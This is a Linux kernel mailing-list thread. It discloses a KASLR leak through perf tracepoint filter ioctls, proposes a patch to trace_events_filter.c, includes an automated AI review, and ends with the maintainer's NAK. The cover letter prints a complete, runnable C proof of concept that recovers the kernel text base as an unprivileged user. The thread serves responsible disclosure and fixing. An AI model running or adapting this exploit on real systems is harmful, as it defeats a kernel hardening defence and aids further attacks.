Skip to contentSkip to conversation

perf tracepoint filter exposes the kernel text base

PATCH NAK Zhengchuan Liang 3 participants 4 messages Sep 28 – Sep 29

Subsystems (2)
Stable branch Tracing
lore
Share & tools
lore

Zhengchuan Liang

author
#0 lore raw

cover perf tracepoint filter exposes the kernel text base

Hi,

I found and validated an information leak in kernel/trace/trace_events_filter.c. An unprivileged user can recover the randomized kernel text base, revealing the kernel's KASLR slide, by observing PERF_EVENT_IOC_SET_FILTER return values for a disabled, count-only perf tracepoint event.

Such an event can be opened with exclude_kernel=1 and sample_type=0. The ioctl nevertheless accepts .function predicates. A numeric operand is passed to kallsyms_lookup_size_offset(), so success distinguishes an address in the kernel image from one outside it. A symbolic operand likewise resolves a kernel symbol internally and can compare its address with a task-controlled tracepoint field.

Here is a minimized numeric PoC for an x86_64 kernel built with CONFIG_KALLSYMS_ALL=y. The scan uses 2 MiB steps, the minimum permitted value of CONFIG_PHYSICAL_ALIGN on x86_64, and covers the 1 GiB virtual KASLR window. Event ID 5 identifies the built-in TRACE_PRINT event. The upstream default is perf_event_paranoid=2. Some distributions retain that setting, while others use a stricter value. With the default setting, run the PoC as an unprivileged user:

  #define _GNU_SOURCE
  #include <linux/perf_event.h>
  #include <stdio.h>
  #include <sys/ioctl.h>
  #include <sys/syscall.h>
  #include <unistd.h>

  int main(void)
  {
          struct perf_event_attr a = {
                  .type = PERF_TYPE_TRACEPOINT, .size = sizeof(a),
                  .config = 5, .disabled = 1, .exclude_kernel = 1,
          };
          int fd = syscall(SYS_perf_event_open, &a, 0, -1, -1, 0);
          char filter[64];
          if (fd < 0)
                  return 1;
          for (unsigned long long p = 0xffffffff80000000ULL;
               p < 0xffffffffc0000000ULL; p += 0x200000ULL) {
                  snprintf(filter, sizeof(filter),
                           "ip.function == 0x%llx", p);
                  if (!ioctl(fd, PERF_EVENT_IOC_SET_FILTER, filter)) {
                          printf("_stext=0x%llx\n", p);
                          return 0;
                  }
          }
          return 2;

}

I reproduced the leak under these conditions as an unprivileged user on a kernel built from the current upstream tree. The reported _stext matched the value in /proc/kallsyms as read by root. The PoC needs no tracefs access or perf sample data.

author
#1 lore raw

PATCH 1/1 tracing: Require tracepoint permission for perf function filters

Count-only perf tracepoint events can be opened without tracepoint permission because they do not sample raw event data. Their SET_FILTER ioctl still parses .function predicates. Numeric operands call kallsyms_lookup_size_offset(), making ioctl success an oracle for recovering the randomized kernel text base. Symbolic operands resolve hidden symbol addresses and can also match user-controlled event fields against those addresses.

Pass the perf origin through filter parsing and require perf_allow_tracepoint() before resolving either form of .function operand. Ordinary perf count filters and tracefs event filters retain their existing behavior.

Fixes e6745a4da964 ("tracing: Add a way to filter function addresses to function names")
Cc [email protected]
Assisted-by LLM
Signed-off-by Zhengchuan Liang <[email protected]>
---
 kernel/trace/trace_events_filter.c | 39 ++++++++++++++++++++++--------
 1 file changed, 29 insertions(+), 10 deletions(-)
kernel/trace/trace_events_filter.c +29 -10
index 2b46ca536045..f99b0f1e32d8 100644
@@ -1625,12 +1625,18 @@ static int filter_pred_fn_call(struct filter_pred *pred, void *event)
 	}
 }
 
+struct event_filter_parse_data {
+	struct trace_event_call *call;
+	bool from_perf;
+};
+
 /* Called when a predicate is encountered by predicate_parse() */
 static int parse_pred(const char *str, void *data,
 		      int pos, struct filter_parse_error *pe,
 		      struct filter_pred **pred_ptr)
 {
-	struct trace_event_call *call = data;
+	struct event_filter_parse_data *parse_data = data;
+	struct trace_event_call *call = parse_data->call;
 	struct ftrace_event_field *field;
 	struct filter_pred *pred = NULL;
 	unsigned long offset;

@@ -1686,6 +1692,12 @@ static int parse_pred(const char *str, void *data,
 		function = true;
 		i += len;
 	}
+	if (function && parse_data->from_perf) {
+		/* Both numeric and symbolic operands resolve kernel addresses. */
+		ret = perf_allow_tracepoint();
+		if (ret)
+			return ret;
+	}
 
 	while (isspace(str[i]))
 		i++;

@@ -2205,8 +2217,13 @@ static int calc_stack(const char *str, int *parens, int *preds, int *err)
 static int process_preds(struct trace_event_call *call,
 			 const char *filter_string,
 			 struct event_filter *filter,
-			 struct filter_parse_error *pe)
+			 struct filter_parse_error *pe,
+			 bool from_perf)
 {
+	struct event_filter_parse_data data = {
+		.call = call,
+		.from_perf = from_perf,
+	};
 	struct prog_entry *prog;
 	int nr_parens;
 	int nr_preds;

@@ -2232,7 +2249,7 @@ static int process_preds(struct trace_event_call *call,
 		return -EINVAL;
 
 	prog = predicate_parse(filter_string, nr_parens, nr_preds,
-			       parse_pred, call, pe);
+			       parse_pred, &data, pe);
 	if (IS_ERR(prog))
 		return PTR_ERR(prog);
 

@@ -2281,7 +2298,8 @@ static int process_system_preds(struct trace_subsystem_dir *dir,
 		if (!filter->filter_string)
 			goto fail_mem;
 
-		err = process_preds(file->event_call, filter_string, filter, pe);
+		err = process_preds(file->event_call, filter_string, filter, pe,
+				    false);
 		if (err) {
 			filter_disable(file);
 			parse_error(pe, FILT_ERR_BAD_SUBSYS_FILTER, 0);

@@ -2377,6 +2395,7 @@ static void create_filter_finish(struct filter_parse_error *pe)
  * @call: trace_event_call to create a filter for
  * @filter_string: filter string
  * @set_str: remember @filter_str and enable detailed error in filter
+ * @from_perf: require tracepoint permission for function predicates
  * @filterp: out param for created filter (always updated on return)
  *           Must be a pointer that references a NULL pointer.
  *

@@ -2391,7 +2410,7 @@ static void create_filter_finish(struct filter_parse_error *pe)
  */
 static int create_filter(struct trace_array *tr,
 			 struct trace_event_call *call,
-			 char *filter_string, bool set_str,
+			 char *filter_string, bool set_str, bool from_perf,
 			 struct event_filter **filterp)
 {
 	struct filter_parse_error *pe = NULL;

@@ -2405,7 +2424,7 @@ static int create_filter(struct trace_array *tr,
 	if (err)
 		return err;
 
-	err = process_preds(call, filter_string, *filterp, pe);
+	err = process_preds(call, filter_string, *filterp, pe, from_perf);
 	if (err && set_str)
 		append_filter_err(tr, pe, *filterp);
 	create_filter_finish(pe);

@@ -2418,7 +2437,7 @@ int create_event_filter(struct trace_array *tr,
 			char *filter_str, bool set_str,
 			struct event_filter **filterp)
 {
-	return create_filter(tr, call, filter_str, set_str, filterp);
+	return create_filter(tr, call, filter_str, set_str, false, filterp);
 }
 
 /**

@@ -2476,7 +2495,7 @@ int apply_event_filter(struct trace_event_file *file, char *filter_string)
 		return 0;
 	}
 
-	err = create_filter(file->tr, call, filter_string, true, &filter);
+	err = create_filter(file->tr, call, filter_string, true, false, &filter);
 
 	/*
 	 * Always swap the call filter with the new filter

@@ -2721,7 +2740,7 @@ int ftrace_profile_set_filter(struct perf_event *event, int event_id,
 	if (event->filter)
 		return -EEXIST;
 
-	err = create_filter(NULL, call, filter_str, false, &filter);
+	err = create_filter(NULL, call, filter_str, false, true, &filter);
 	if (err)
 		goto free_filter;
 

@@ -2868,7 +2887,7 @@ static __init int ftrace_test_event_filter(void)
 		int err;
 
 		err = create_filter(NULL, &event_ftrace_test_filter,
-				    d->filter, false, &filter);
+				    d->filter, false, false, &filter);
 		if (err) {
 			printk(KERN_INFO
 			       "Failed to get filter for '%s', err %d\n",
Signature · 1 line
2.34.1
AI review
#2 lore raw

Re: [PATCH 1/1] tracing: Require tracepoint permission for perf function filters

Sashiko has reviewed this patch and found no issues. It looks great!
Quoted 13 lines

Count-only perf tracepoint events can be opened without tracepoint permission because they do not sample raw event data. Their SET_FILTER ioctl still parses .function predicates. Numeric operands call kallsyms_lookup_size_offset(), making ioctl success an oracle for recovering the randomized kernel text base. Symbolic operands resolve hidden symbol addresses and can also match user-controlled event fields against those addresses.

Pass the perf origin through filter parsing and require perf_allow_tracepoint() before resolving either form of .function operand. Ordinary perf count filters and tracefs event filters retain their existing behavior.

Quoted 4 lines
Fixes e6745a4da964 ("tracing: Add a way to filter function addresses to function names")
Cc [email protected]
Assisted-by LLM
Signed-off-by Zhengchuan Liang <[email protected]>

Sashiko has reviewed this patch and found no issues. It looks great!

Signature · 1 line
Sashiko AI review · https://sashiko.dev/#/patchset/[email protected]?part=1
maintainer NAK
#3 lore raw

Re: [PATCH 1/1] tracing: Require tracepoint permission for perf function filters

In reply to Zhengchuan Liang
Quoted 13 lines · On Sun, 27 Sep 2026 17:00:31 -0700 Zhengchuan Liang <[email protected]> wrote:

Count-only perf tracepoint events can be opened without tracepoint permission because they do not sample raw event data. Their SET_FILTER ioctl still parses .function predicates. Numeric operands call kallsyms_lookup_size_offset(), making ioctl success an oracle for recovering the randomized kernel text base. Symbolic operands resolve hidden symbol addresses and can also match user-controlled event fields against those addresses.

Pass the perf origin through filter parsing and require perf_allow_tracepoint() before resolving either form of .function operand. Ordinary perf count filters and tracefs event filters retain their existing behavior.

Quoted 6 lines
Fixes e6745a4da964 ("tracing: Add a way to filter function addresses to function names")
Cc [email protected]
Assisted-by LLM
Signed-off-by Zhengchuan Liang <[email protected]>
---
 kernel/trace/trace_events_filter.c | 39 ++++++++++++++++++++++--------

NAK.

This is a perf issue and not a ftrace issue. It should not touch any code in kernel/trace/* for the fix.

Looks to me the code that calls ftrace_profile_set_filter() from kernel/events/core.c should not be allowed by unprivileged users.

-- Steve